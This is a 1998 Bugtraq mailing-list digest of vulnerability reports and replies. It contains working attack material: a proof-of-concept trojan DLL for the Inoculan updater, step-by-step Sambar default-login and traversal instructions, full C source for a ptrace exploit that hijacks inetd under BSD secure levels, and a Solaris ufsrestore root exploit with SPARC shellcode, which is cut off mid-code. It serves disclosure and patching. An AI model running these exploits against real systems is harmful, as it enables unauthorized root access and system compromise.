Date: Fri, 12 Jun 1998 00:04:00 -0400
Reply-To: Bugtraq List
Sender: Bugtraq List
From: Automatic digest processor
Subject: BUGTRAQ Digest - 10 Jun 1998 to 11 Jun 1998
To: Recipients of BUGTRAQ digests
Message-Id: <19980612040607Z80667-23678+19@brimstone.netspace.org>
There are 13 messages totalling 1417 lines in this issue.
Topics of the day:
1. Secure Ping 1.0
2. netwatch symlink bug
3. Unsecure passwords in Macromedia Dreamweaver
4. Solaris 2.5.1 patch not effective? (2)
5. CISCO PIX Vulnerability
6. Full Armor
7. Cheyenne Inoculan vulnerability on NT
8. Sambar Server Beta BUG..
9. Vulnerability in 4.4BSD Secure Levels Implementation
10. more named warez
11. ufsrestore sparc exploit
12. CORE-SDI-04: SSH insertion attack
----------------------------------------------------------------------
Date: Thu, 11 Jun 1998 03:36:53 -0400
From: Bug Lord
Subject: Secure Ping 1.0
This is a rather quick and dirty ping mod I whipped up, mostly stuff that
is done by intelligent admins (or else they remove ping access entirely),
but I have never seen a ready-made package for such mods so here goes.
Besides there are far too many people with too much bandwidth who do not
fall under the previous admin catagory (the most obvious example of this
being almost anyone running redhat linux on a university dorm connection). =)
This is done as a complete program rather then a patch in the hopes of
making it as simple as possible for those less cluefully endowed. And if
you're in it for new features, I don't think anyone has ever done the
logging of sigalrm bombs. =)
>From the README:
Program
-------
SecurePing 1.0 by Bug Lord. Based off of netkit-base-0.10 w/ping 0.12.
Apologies to Solar Designer for ripping the name but I thought of it
before I remembered Secure-Linux and I'm too tired to rename it. =)
Purpose
-------
Ping was designed with the best of intentions, allowing users and admins
alike to test their networks. Unfortunately, too often it is associated
with Denial of Service attacks, and is often disabled (at least for
non-root users). With the standard ping distributed on most systems today,
a non-root user can easily cause DoS attacks even without the -f flood
option. What admin hasn't logged on one day to see twenty "ping -s 65000"
processes happily sucking up your network resources? It seems anywhere
there is ping and a non-trusted user, chaos ensues. Not to mention having
to explain why your box was responsible when the person being hit calls
you or your uplink. What a headache, no wonder people disable ping.
The goal of this program is to permit benign activity from well-meaning
users while preventing malicious users from flooding others, and logging
such attempts.
Features
--------
- Admin-definable packet size limits for root and non-root users.
- Log attempted unauthorized flood/preload and over-size-limit attempts.
- Log and prevents SIGALRM-bomb floods.
- REAL simple + easy Libc/Glibc support
Possible Future Additions
-------------------------
- Limits on the number of times one user can run ping simultaneously.
- Size limits for more than "root" and "not-root". Groups, etc.
- Dynamic configuration, perhaps /etc/ping.conf or some such.
- Log total bytes sent/received during a ping session.
Platforms
---------
Linux... As much as I would like to develop programs for other environments,
the unfortunate fact is that I don't have access to any non-linux systems.
If you can provide a (legit) account on another environment (FreeBSD most
especially needed), please contact me.
How to use
----------
Just edit config.h, everything is clearly explained there.
Then configure, make, and make install as root. If you can't figure this
part out then maybe this program is not for you. =)
Thanks to
---------
Kerry and Kyle for the motivation (good job guys), habit for the spell
checking, Ted & Ramsey for my phone bills, and anyone else that I forgot.
Contact
-------
IRC: Bug_Lord (EFnet)
EMAIL: buglord@sy.net
Latest Version
--------------
The latest version of SecurePing can be found at http://www.sy.net/security
Shameless Plug
--------------
Visit http://shell.sy.net for the most affordable, reliable, stable, and
secure shells available to mere mortals.
------------------------------
Date: Thu, 11 Jun 1998 13:00:42 -0400
From: George Sakhnovsky
Subject: netwatch symlink bug
netwatch 0.7e (latest version on sunsite) creates a temp logfile,
/tmp/.watchlog.000, each time it's ran. it has no problem following
symlinks, so you can overwrite any file on the system. Just ln, and wait
for the admin to run it.
------------------------------
Date: Thu, 11 Jun 1998 13:04:34 -0500
From: Jeff Forristal
Subject: Unsecure passwords in Macromedia Dreamweaver
When one saves their ftp passwords in Macromedia Dreamweaver, this
information is written to the registry at
/HKEY_CURRENT_USER/Software/Macromedia/Dreamweaver/Sites/-Site(x)/User PW
The storage scheme used to crypt the password is exactly the same as the
Ws_FTP method, which was reported previously. Briefly, all characters are
converted to hex, and the offset within the string is added to the value
(starting with 0).
Macromedia has been contacted, and their reply was to the effect that,
while noted, they do not think it severe enough to release a patch;
therefore, it will be corrected in the next major release.
-Jeff Forristal
------------------------------
Date: Tue, 9 Jun 1998 17:18:28 -0700
From: Tom Perrine
Subject: Solaris 2.5.1 patch not effective?
I have two reports from other UC campuses that exploits of the Solaris
ufsrestore bug are being used against *sparc* hosts.
At least one of the sites reports that patch 104490-05 (Solaris 2.5.1,
sparc arch) was applied on a system that was compromised (presumably
via this method).
Consider this an *inconclusive* warning that the Sun ufsrestore patch
*may* not be effective. I have a call into Sun on this one. If we
can get the binary of the exploit, it might be interesting.
[The reporting sites are BCC'ed on this note. If they want to go
public, its up to them.]
--tep
--
Tom E. Perrine (tep@SDSC.EDU) | San Diego Supercomputer Center
http://www.sdsc.edu/~tep/ | Voice: +1.619.534.5000
Been there, done that, erased the evidence, blackmailed the witnesses...
------------------------------
Date: Wed, 10 Jun 1998 13:02:11 -0500
From: Rick Smith
Subject: Re: CISCO PIX Vulnerability
>Another thing is that PIX is using DES in ECB mode. CISCO admits that
>"....ECB is not generally considered to be the best mode in which to
>employ DES,...." but you'll have to live with it. CISCO will not fix
>that so you'll have to buy future IPSEC/IKE products.
IMHO, the really, really nasty problem with ECB mode is that the data
stream is vulnerable to trivial substitution attacks. If the encrypted
traffic consists of administrative commands, it won't be that hard to
collect a modest but interesting dictionary of plaintext/ciphertext pairs.
Then the attacker can forge command strings without ever having to brute
force the key itself.
Rick.
smith@securecomputing.com
"Internet Cryptography" at bookstores or http:/www.visi.com/crypto/
------------------------------
Date: Tue, 9 Jun 1998 14:12:46 -0500
From: avarice
Subject: Re: Full Armor
This would by my first post to bugtraq, but I have some experience with this
program so i thought maybe i could give my 2 cents worth... In addtion to this
exploit myself and some friends got bored one evening and found ourselves at
Walmart playing with thier display machines.. These machines were also running
Full Armor, which would have been our first encounter with teh program (as for
a time frame this would have been about a year ago, last summer). After
playing for a few minutes we learned that Full Armor was the cause of all our
lockouts, we tried everytrhing against it, short of a boot disk to no avail..
Eventually we got passed it by waiting for the target box to boot up and then
turning it off...As anyone who runs '95 will tell you, when you turn it back on
scandisk comes up as well...it is possible to ctrl-break out of scandisk and
thus get an unprotected dos prompt, from there you can modify whatever files
you want, including full armors and effectively disable its protection....I
hope taht someone finds this useful..
-la
Kimmie Dicaire wrote:
> Version: Full Armor Network Configurator and Full Armor Zero Administration
> Operating System: Win95/NT
>
> This is an alert for Full Armor made by Micah Software and rated very high
> in PC Week. While being a part of a team that was to install and
> standardize all the desktops throughout a company this hack was
> discovered. The software itself is a desktop protection software that has
> many many more options than the regular poledit that comes with Win95,
> although it does utilize and expand on the poledit program. The
> problem/hack comes into play when you get the Full Armor warning that you
> don't have rights (or any other Full Armor dialog box) if instead of just
> clicking the ok button to remove the dialog box, instead you choose
> + + to get to the task manager you can end task on Full Armor
> and remove all the protected areas, thus having full access to everything
> on your destop/PC.
>
> The has been tested on both 486 and Pentium machine's all running Win95
> and the hack is reproduced everytime. There is no current work around for
> this hack.
>
> I have been in contact with the software developer's at Micah and they are
> currently re-working the code that should have a fix for this by tomorrow
> morning (6-9-10). If you are running Full Armor it is recommended that
> you get this fix when it becomes available.
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
> K&R Information Technologies
> http://asd.dyn.ml.org/ -- http://asd.dyn.ml.org/asdw
> kdicaire@vic.com -- kdicaire@asd.dyn.ml.org -- paris@asd.dyn.ml.org
> +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
------------------------------
Date: Thu, 11 Jun 1998 17:48:16 -0400
From: p__boyer@USA.NET
Subject: Cheyenne Inoculan vulnerability on NT
It is possible to run arbitrary code on any Intel machine running Cheyenne Inoculan version 4.0 for Windows NT(any version of NT) prior to SP2.
Same kind of vulnerabilities might exist with other anti-virus product providing an auto-update mechanism. I have not the time needed to fully explore this issue. Feel free to contribute.
Summary of the problem:
* Cheyenne Inoculan version 4.0 prior to SP2 for Windows NT creates a shared directory called "CHEYUPD$" in which "EVERYONE" has "FULL CONTROL" access.
* When Inoculan starts, it checks if a new versions of Inoculan has been written in that directory and, if so, replace itself with the new version.
* It is trivial to create a fake "new version" and let Inoculan install this fake on all machines running inoculan
To check if you are vulnerable :
if you have the resource kit installed, run
SRVCHECK.EXE \\
else run srvmgr.exe from a NT server on the same domain, select and select "Computer|Shared Directories".
If there is a shared directory called "CHEYUPD$" that allows "FULL CONTROL" to the "EVERYONE" group, this is bad news :(
The solution:
go to http://www.cheyenne.com/CheyTech/Download/patches/techptch.html and install their latest patch
Nota: it took more than 3 weeks after I first reported the problem to cheyenne (a Computer Associates Company) before they provided us with such a patch. I had to wait the patch availability before to post here... Client rules ;)
More details :
Inoculan runs as a service, called "Cheyenne InocuLAN Anti-Virus Server". When it starts, it replaces any shared directory with the same name and shares "CHEYUPD$" with full control for the everyone group.
When the service starts, it does an update check in this directory (usually "C:\Inoculan\Update\" ) using the files "\CHEYUPD$\English\NtIntel\Ready\filelist.txt" and [idem]...\avh32dll.dll
simply "touching" or modifying the file "filelist.txt" for it looks younger than real causes the update. Th update causes the service to stop, the avh32dll.dll DLL to replace the existing one (usually in c:\inoculan\avh32dll.dll) and then starts the service again.
When the service starts, it loads the DLL into memory, and THEN does a lot of stuff (including checking if it is a valid DLL, I presume).
The problem is you can write a DLL that execute arbitrary code at the time it is loaded in memory, at the precise time when DllMain is called by the image loader, before any other function have a chance to be called...
Exemple :
inoctroj.cpp:
-------Cut here -----------
#include "stdio.h"
long __stdcall DllMain (long, unsigned long, void*)
{
// Any code can goes here. This is an exemple
// What it does is simply create a file on C: drive root directory
// and writing "hello world !" inside of it
FILE * demo;
// create a file
demo = fopen ( "C:\\I_can_write_a_file.txt", "w");
// write to the file
char * buf = "hello world ! ";
fwrite ( buf,1, 15, demo);
fclose ( demo );
// This aborts the DLL loading. Anyway, we're done at that time ;))
return 0;
}
-------Cut here -----------
compile and link to make the target avh32dll.dll
write it to \CHEYUPD$\English\NtIntel\Ready\
touch \CHEYUPD$\English\NtIntel\Ready\filelist.txt in the same directory for it is more recent than initially.
Stop the "Cheyenne InocuLAN Anti-Virus Server" on the machine and start it again (alternatively shutdown and restart the machine).
Here you are : there is a file "I_can_write_a_file.txt" in "C:\" on .
No good :(
An interesting point is that Inoculan uses "domains". In one domain, a single server forwards the updates to all machines participating in that "domain" (nothing to do with NT domains).
I didn't have the test environment to test it, but I would expect a much worse scenario if the trojan is written to the inoculan domain's server CHEYUPD$ shared directory. I'm afraid that the trojan would be copied to all machines of that domain.
This is serious, because all machines would be running arbitrary code in place of the anti-virus program.
Fortunately, this problem is now fixed by Cheyenne, but I think there are a lot of such security holes yet to be found in all anti-virus auto-update mechanisms.
most run the same scenario :
1) a update is issued by the anti-virus vendor on its FTP or Web server, or sent on a floppy disk or CD, or downloaded using a dedicated modem connection from the vendor's remote access server.
2) the update is copied to a few servers within the client network
3) all machines get the update from this or those servers
4) all machines run the updated version.
This present problem with Inoculan uses a vulnerability allowing a user on the internal network to fake step 2 and/or 3.
If you imagine the vendor's ftp server is compromised, the attacker could fake step 1 with much more widespread impact.
If you imagine the client connection to the Internet is compromised, an attacker could redirect to a fake ftp server. This would impact step 2.
Paul Boyer
p__boyer@usa.net
____________________________________________________________________
Get free e-mail and a permanent address at http://www.netaddress.com/?N=1
------------------------------
Date: Wed, 10 Jun 1998 15:15:34 -0400
From: "Posick, Steve"
Subject: Re: Sambar Server Beta BUG..
There is also a buffer overrun in the logging code and a MAJOR hole in
the mailit script that allow for remote execution
of system commands.
In both cases I have notified Tod Sambar and they are hopefully
fixed.
-----Original Message-----
From: Michiel de Weerd [SMTP:webmaster@FOCUS.DEMON.NL]
Sent: Wednesday, June 10, 1998 12:13 PM
To: BUGTRAQ@NETSPACE.ORG
Subject: Sambar Server Beta BUG..
Sambar Server Beta's have a serious bug! it is possible to view the
victim's HDD.
This is how it's done:
Asume you find a computer running Sambar Server by searching the
Internet with these key-words: +sambar +server +v4.1
If you find a site like: http://www.site.net/
then do a test, run a little perl script...
http://www.site.net/cgi-bin/dumpenv.pl
Now you see the complete environment of the victims computer,
including
his path. Now you can try to login as the administrator by adding
this
to the url: /session/adminlogin?RCpage=/sysadmin/index.stm
so: http://www.site.net/session/adminlogin?RCpage=/sysadmin/index.stm
The default login is: admin and the default password is blank.
If the victim hasn't changed his settings, you now can control his
server.
Another feature is to view the victims HDD. If you were able to run
the
perl script you should also be able (in most cases) to view
directory's
from his path. Most people have c:/program files and c:/windows in
the
path line, so what you can do is:
http://www.site.net/c:/program files/sambar41
FIX:
1) Upgrade to a non-beta version of Sambar Server.
2) Don't alow directory browsing if index.html or default.html isn't
found.
3) Change the admin username and password before someone else changes
it
for you.
CC to Tod Sambar - http://www.sambar.com
------------------------------
Date: Wed, 10 Jun 1998 22:50:35 +0100
From: Niall Smart
Subject: Vulnerability in 4.4BSD Secure Levels Implementation
Vulnerability in 4.4BSD Secure Levels Implementation
Synopsis
========
4.4BSD introduced the concept of "secure levels" which are intended to
allow the system administrator to protect the kernel and system files from
modification by intruders. When the system is running in secure mode file
flags can be used to indicate that anyone, even the superuser, should
be prevented from deleting or modifying the file, or that write access
should be restricted to append-only. In addition device files such as
/dev/kmem and those for disk devices are only available for read access.
This protection is not intended to prevent system compromise, but
instead is a damage limitation measure -- by preventing intruders who
have compromised the root account from deleting logs of the intrusion
or planting "trojan horses" their ability to hide their presence on the
system or covertly gather sensitive information is reduced.
We have discovered a vulnerability in all current implementations of
secure levels which allow an intruder to modify the memory image of
running processes, thereby bypassing the protection applied to system
binaries and their configuration files. The vulnerability cannot be
exploited to modify the init process, kernel memory or the protected
files themselves.
Details
=======
The ptrace(2) system call can be used to modify the memory image of
another process. It is typically used by debuggers and other similar
utilities. Due to inadequate checking, it is possible to use ptrace(2)
to modify the memory image of processes which have been loaded from a
file which has the immutable flags set. As mentioned, this does not
apply to the init process.
This vulnerability is significant in that it allows an intruder to
covertly modify running processes. The correct behaviour is to make
the address space of these processes immutable. Although an intruder
can still kill them and start others in their place, the death of system
daemons will (should) draw attention on secure systems.
An example exploit and patches are appended.
Niall Smart, njs3@doc.ic.ac.uk.
cstone, abc@ralph.ml.org.
Exploit
=======
There are a variety of daemons which an intruder would wish to trojan,
inetd being one of the most obvious. Once the intruder controls inetd,
any network logins handled by daemons started by inetd are completely
under the control of the intruder. Other important daemons which are
likely to be attacked include sshd, crond, syslogd, and getty.
Here we present sample code which shows how to use ptrace(2) to attach to
and control a running inetd and so that it starts daemons which we choose
instead of those specified in inetd.conf. For the sake of explanation
we will use the FreeBSD version of inetd compiled with debugging symbols.
If you look at the inetd source you will see that it uses an array of
struct servtab which represents the services specified in inetd.conf.
The se_server member of struct servtab specifies the path to the server
which handles requests for the service. When inetd accepts a new
connection it searches this array for the appropriate entry, stores a
pointer to the entry in the variable sep and then forks, the child then
fiddles with file descriptors and execs the server.
The fork happens on line 490 of inetd.c, we insert a breakpoint at this
instruction and when we hit it modify the se_server member of the struct
servtab which sep points to. We then insert another breakpoint later
in the code which only the parent process will execute and continue,
when we hit that breakpoint we change the se_server back to what it was.
Meanwhile, the child process continues and executes whatever server we
have told it to.
# gdb --quiet ./inetd
(gdb) list 489,491
489 }
490 pid = fork();
491 }
(gdb) break 490
Breakpoint 2 at 0x1f76: file inetd.c, line 490.
(gdb) p &sep
Address requested for identifier "sep" which is in a register.
(gdb) p sep
$1 = (struct servtab *) 0x1
(gdb) info reg
eax 0x0 0
ecx 0xefbfda50 -272639408
edx 0x2008bf48 537444168
ebx 0xefbfda90 -272639344
esp 0xefbfd968 0xefbfd968
ebp 0xefbfda68 0xefbfda68
esi 0x1 1
edi 0x0 0
eip 0x1914 0x1914
eflags 0x246 582
cs 0x1f 31
ss 0x27 39
ds 0x27 39
es 0x27 39
(gdb)
So, the first breakpoint address is at 0x1F76, and the sep variable
has been placed in the register %esi which makes writing the exploit
a bit easier. After the fork we want to stop the parent process only,
inserting a breakpoint at line 502 will achieve that:
(gdb) list 501,503
501 if (pid)
502 addchild(sep, pid);
503 sigsetmask(0L);
(gdb) break 502
Breakpoint 1 at 0x1fc8: file inetd.c, line 502.
Line 502 corresponds to the instruction at 0x1FC8. Finally, we will need
some unused memory to write in the string for our replacement daemon, for
this we can simply overwrite the code that performs the option processing:
(gdb) break 325
Breakpoint 2 at 0x1a9a: file inetd.c, line 325.
We take 64 bytes from 0x1A9A. Here is the exploit, the first three
arguments specify the first and second breakpoints and the address of
the spare memory and the last is the pid of the inetd to attach to.
[ Note to script kiddies: you need root on the system first ]
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#if defined(__FreeBSD__)
#define SE_SERVER_OFF 44
#elsif defined(__OpenBSD__)
#define SE_SERVER_OFF 48
#endif
#define INSN_TRAP 0xCC
#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
#define Ptrace(req, pid, addr, data) _Ptrace(req, #req, pid, (caddr_t) addr, data)
void sig_handler(int unused);
sig_atomic_t finish = 0;
int pid;
int _Ptrace(int req, const char* reqname, pid_t pid, caddr_t addr, int data)
{
int ret = ptrace(req, pid, addr, data);
if (ret < 0 && errno != 0) {
fprintf(stderr, "ptrace %s: %s\n", reqname, strerror(errno));
exit(EXIT_FAILURE);
}
/* this shouldn't be necessary */
#ifdef __FreeBSD__
if (req == PT_DETACH)
kill(pid, SIGCONT);
#endif
return ret;
}
void
sig_handler(int unused)
{
/* we send the child a hopelessly harmful signal to break outselves
* out of ptrace */
finish = 1;
kill(pid, SIGINFO);
}
struct replace {
char* old;
char* new;
};
int
main(int argc, char** argv)
{
struct reg regs;
int insn;
int svinsn;
caddr_t breakaddr;
caddr_t oldaddr;
caddr_t spareaddr;
caddr_t addr;
caddr_t nextaddr;
caddr_t contaddr;
char buf[64];
char* ptr;
struct replace* rep;
struct replace replace[] = { { "/bin/cat", "/bin/echo" } };
if (argc != 5) {
fprintf(stderr, "usage: %s \n", argv[0]);
exit(EXIT_FAILURE);
}
breakaddr = (caddr_t) strtoul(argv[1], 0, 0);
nextaddr = (caddr_t) strtoul(argv[2], 0, 0);
spareaddr = (caddr_t) strtoul(argv[3], 0, 0);
pid = atoi(argv[4]);
signal(SIGINT, sig_handler);
signal(SIGTERM, sig_handler);
signal(SIGQUIT, sig_handler);
/*
* attach her up
*/
Ptrace(PT_ATTACH, pid, 0, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("%%esp = %#x\n", regs.r_esp);
printf("%%ebp = %#x\n", regs.r_ebp);
printf("%%eip = %#x\n", regs.r_eip);
contaddr = (caddr_t) 1;
while (1) {
/*
* replace the lowest byte of the dw at the specified address
* with a breakpoint insn
*/
svinsn = Ptrace(PT_READ_D, pid, breakaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, breakaddr, insn);
printf("%x ==> %x @ %#x\n", svinsn, insn, (int) breakaddr);
/* continue till we hit the breakpoint */
Ptrace(PT_CONTINUE, pid, contaddr, 0);
do {
/* FreeBSD reports signals twice, it shouldn't do that */
int sig;
int status;
wait(&status);
sig = WSTOPSIG(status);
printf("process received signal %d (%s)\n", sig, sys_siglist[sig]);
if (finish)
goto detach;
if (sig == SIGTRAP)
break;
Ptrace(PT_CONTINUE, pid, 1, WSTOPSIG(status));
} while(1);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("hit breakpoint at %#x\n", (int) regs.r_eip - 1);
/* copy out the pathname of the daemon it's trying to run */
oldaddr = (caddr_t) Ptrace(PT_READ_D, pid, regs.r_esi + SE_SERVER_OFF, 0);
for (ptr = buf, addr = oldaddr; ptr < &buf[ARRSIZE(buf)]; ptr += 4, addr += 4)
*(int*)ptr = Ptrace(PT_READ_D, pid, addr, 0);
printf("daemon path ==> %s @ %#x\n", buf, (int)oldaddr);
/* check if we want to substitute our own */
for (rep = replace; rep < &replace[ARRSIZE(replace)] || (rep = 0); rep++)
if (!strcmp(rep->old, buf)) {
printf("%s ==> %s\n", rep->old, rep->new);
break;
}
/* copy the substitute pathname to some unused location */
if (rep != 0) {
strcpy(buf, rep->new);
for (ptr = buf, addr = spareaddr; ptr < &buf[sizeof(buf)]; ptr += 4, addr += 4)
Ptrace(PT_WRITE_D, pid, addr, *(int*)ptr);
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) spareaddr);
}
/*
* replace the original instruction, set a breakpoint on the next
* instruction we want to break in and then reset the daemon path,
* and remove the last breakpoint. We could just single step over
* the for syscall but all the crap involved in calling a fn in a
* dll makes it easier to just to set a breakpoint on the next
* instruction and wait till we hit that
*/
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
svinsn = Ptrace(PT_READ_D, pid, nextaddr, 0);
insn = (svinsn & ~0xFF) | INSN_TRAP;
Ptrace(PT_WRITE_D, pid, nextaddr, insn);
Ptrace(PT_CONTINUE, pid, breakaddr, 0);
wait(0);
Ptrace(PT_GETREGS, pid, ®s, 0);
printf("stepped instruction to %#x\n", regs.r_eip);
Ptrace(PT_WRITE_D, pid, nextaddr, svinsn);
contaddr = nextaddr;
/* put back the original path */
if (rep != 0)
Ptrace(PT_WRITE_D, pid, regs.r_esi + SE_SERVER_OFF, (int) oldaddr);
}
detach:
printf("detaching\n");
Ptrace(PT_WRITE_D, pid, breakaddr, svinsn);
Ptrace(PT_DETACH, pid, 1, 0);
return 0;
}
So, lets try it out:
# cat inetd.conf
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
afs3-fileserver stream tcp nowait root /bin/cat cat /root/inetd.conf
Connection closed by foreign host.
# ps -aux | grep inetd
root 1233 0.0 0.9 204 556 ?? SXs 11:41AM 0:00.02 ./inetd /root/inetd.conf
# ./ptrace 0x1F76 0x1FC8 0x1A9A 1233 >/dev/null 2>&1 &
[1] 1267
# telnet localhost 7000
Trying 127.0.0.1...
Connected to localhost
Escape character is '^]'.
/root/inetd.conf
Connection closed by foreign host.
#
Affected
========
BSD/OS, FreeBSD, NetBSD, OpenBSD.
Patches
=======
OpenBSD patched this problem yesterday. The following patches apply to
FreeBSD-current and will apply to FreeBSD-stable with some tweaking of
the line numbers.
--- kern/sys_process.c Mon Jun 8 11:47:03 1998
+++ kern/sys_process.c Mon Jun 8 11:49:53 1998
@@ -37,6 +37,7 @@
#include
#include
#include
+#include
#include
#include
@@ -208,6 +209,7 @@
struct proc *p;
struct iovec iov;
struct uio uio;
+ struct vattr va;
int error = 0;
int write;
int s;
@@ -246,6 +248,11 @@
/* can't trace init when securelevel > 0 */
if (securelevel > 0 && p->p_pid == 1)
return EPERM;
+
+ if((error = VOP_GETATTR(p->p_textvp, &va, p->p_ucred, p)) != 0)
+ return(error);
+ if(va.va_flags & (IMMUTABLE|NOUNLINK))
+ return(EPERM);
/* OK */
break;
--- kern/kern_exec.c Sun Jun 7 17:23:14 1998
+++ kern/kern_exec.c Tue Jun 9 14:08:10 1998
@@ -655,6 +655,8 @@
error = VOP_GETATTR(vp, attr, p->p_ucred, p);
if (error)
return (error);
+ if((p->p_flag & P_TRACED) && (attr.va_flags & (IMMUTABLE|NOUNLINK)))
+ return (EACCES);
/*
* 1) Check if file execution is disabled for the filesystem that this
--- miscfs/procfs/procfs_vnops.c Tue May 19 09:15:00 1998
+++ miscfs/procfs/procfs_vnops.c Wed Jun 10 16:23:33 1998
@@ -129,6 +129,8 @@
{
struct pfsnode *pfs = VTOPFS(ap->a_vp);
struct proc *p1, *p2;
+ int error;
+ struct vattr va;
p2 = PFIND(pfs->pfs_pid);
if (p2 == NULL)
@@ -144,6 +146,12 @@
if (!CHECKIO(p1, p2) &&
!procfs_kmemaccess(p1))
return (EPERM);
+
+ error = VOP_GETATTR(p2->p_textvp, &va, p1->p_ucred, p1);
+ if(error)
+ return(error);
+ if(va.va_flags & IMMUTABLE)
+ return(EPERM);
if (ap->a_mode & FWRITE)
pfs->pfs_flags = ap->a_mode & (FWRITE|O_EXCL);
------------------------------
Date: Thu, 11 Jun 1998 16:28:09 -0500
From: Steve Siirila
Subject: Re: Solaris 2.5.1 patch not effective?
I can confirm that the patch 104490-05 is indeed ineffective against at least
one root compromise bug. We experienced such a compromise recently even with
the latest security patches (including 104490-05) installed.
We decided to simply make ufsdump/ufsrestore non-setuid, non-setgid as they
are never run by non-root users at our site anyways.
Tom Perrine wrote:
>
> I have two reports from other UC campuses that exploits of the Solaris
> ufsrestore bug are being used against *sparc* hosts.
>
> At least one of the sites reports that patch 104490-05 (Solaris 2.5.1,
> sparc arch) was applied on a system that was compromised (presumably
> via this method).
>
> Consider this an *inconclusive* warning that the Sun ufsrestore patch
> *may* not be effective. I have a call into Sun on this one. If we
> can get the binary of the exploit, it might be interesting.
>
> [The reporting sites are BCC'ed on this note. If they want to go
> public, its up to them.]
>
> --tep
>
> --
> Tom E. Perrine (tep@SDSC.EDU) | San Diego Supercomputer Center
> http://www.sdsc.edu/~tep/ | Voice: +1.619.534.5000
> Been there, done that, erased the evidence, blackmailed the witnesses...
>
--
Steven F. Siirila
Enterprise Internet Services Office: Lind Hall, Room 130B
Academic and Distributed Computing Services E-mail: sfs@umn.edu
Office of Information Technology Voice: (612) 626-0244
University of Minnesota Fax: (612) 626-7593
------------------------------
Date: Wed, 10 Jun 1998 17:49:28 -0400
From: "Joshua J. Drake"
Subject: Re: more named warez
Oops...
For all of you that had trouble compiling the source.. I have a patch.
I agree that what I said can be thought of as security through obscurity..
However.. I never claimed that it would secure anything. Let me try to
explain...
A cracker is trying to exploit your vulnerable version of named. In
order to do this successfully, the attacker must know what version
you are running. Not only that, but they must also know what OS you
run, and how you ran named (at boot/from login shell). If the cracker
can't get all that information, then they are most likely going to crash
named. If the administrator of the machine that is being attacked looks
into why named crashed, they will find a core file.
To most admins, this seems harmless enough.. we complain about poorly
written software and restart named. In order for the attacker to guess
the required information by trying the exploit, this process would have to
be repeated several times by both parties. By the second or third time,
most admins would assume named is broken and try to upgrade it. At that
point, the hole gets plugged.
On the other hand, if the attacker can get the required information, then
a breach will be successful on the first try. This is also the case with
other daemons that don't fork() for client interaction.
Security through obscurity doesn't work, nor will it ever. Think about it
though, every little bit helps. Why help any malicious people gain
unauthorized administrator level access to your machines?
Joshua James Drake
jdrake@pulsar.net
http://www.pulsar.net/~jdrake/
|--- patch begins here, filename: bi-patch ---
*** binfo-udp.c.old Wed Jun 10 17:10:24 1998
--- binfo-udp.c Wed Jun 10 17:21:20 1998
***************
*** 21,27 ****
#include
#include
#include
! #include
/* network type includes */
#include
#include
--- 21,27 ----
#include
#include
#include
! #include
/* network type includes */
#include
#include
***************
*** 89,95 ****
memcpy(&ra->sin_addr.s_addr, he->h_addr, 4);
return 1;
}
! herror("Unable to resolve hostname");
return 0;
}
--- 89,95 ----
memcpy(&ra->sin_addr.s_addr, he->h_addr, 4);
return 1;
}
! fprintf(stderr, "Unable to resolve hostname: %s\n", hn);
return 0;
}
***************
*** 161,167 ****
--- 161,169 ----
#ifdef DEBUG
printf("write() success\n");
#endif
+ #ifndef __sun__
siginterrupt(SIGALRM, 1);
+ #endif
signal(SIGALRM, handle_alarm);
alarm(3);
pktlen = read(sd, pkt, pktl);
|--- end of patch ---
------------------------------
Date: Thu, 11 Jun 1998 17:45:01 -0400
From: John McDonald
Subject: ufsrestore sparc exploit
well.. here is the source. :>
I have not checked it on a patched machine.. guess I stumbled onto a
different hole when playing with ufsrestore.
humble
// ufsrestore solaris 2.4, 2.5, 2.5.1, 2.6 exploit
// by humble
// thanks to plaguez for help
#include
#include
#include
#include
#define BUF_LENGTH 300
#define EXTRA 100
#define STACK_OFFSET -600
#define SPARC_NOP 0xac15a16e
// normal shell code cept I added a bunch of sll's and add's
// to get rid of a 2f '/' in there (from the sethi 0xbdcda, %l7)
// I don't know sparc assembly so this might be dumb :P
// also added code to do seteuid(0); setuid(0); from erik's buffer
// overrun page
u_char sparc_shellcode[] =
"\x90\x08\x3f\xff\x82\x10\x20\x8d\x91\xd0\x20\x08"
"\x90\x08\x3f\xff\x82\x10\x20\x17\x91\xd0\x20\x08"
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\xae\x10\x2b\xdc\xaf\x2d\xe0\x01\xae\x05\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xaf\x2d\xe0\x01\xae\x05\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x01"
"\xae\x05\xe0\x01\xaf\x2d\xe0\x01\xaf\x2d\xe0\x0a"
"\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
u_long get_sp(void)
{
__asm__("mov %sp,%i0 \n");
}
void main(int argc, char *argv[])
{
char buf[BUF_LENGTH + EXTRA + 8];
long targ_addr;
u_long *long_p;
u_char *char_p;
int i, code_length = strlen(sparc_shellcode),dso=0,a=0;
if(argc > 1) dso=atoi(argv[1]);
long_p =(u_long *) buf ;
targ_addr = get_sp() - STACK_OFFSET - dso;
for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
*long_p++ = SPARC_NOP;
char_p = (u_char *) long_p;
for (i = 0; i < code_length; i++)
*char_p++ = sparc_shellcode[i];
long_p = (u_long *) char_p;
for (i = 0; i < EXTRA / sizeof(u_long); i++)
*long_p++ =targ_addr;
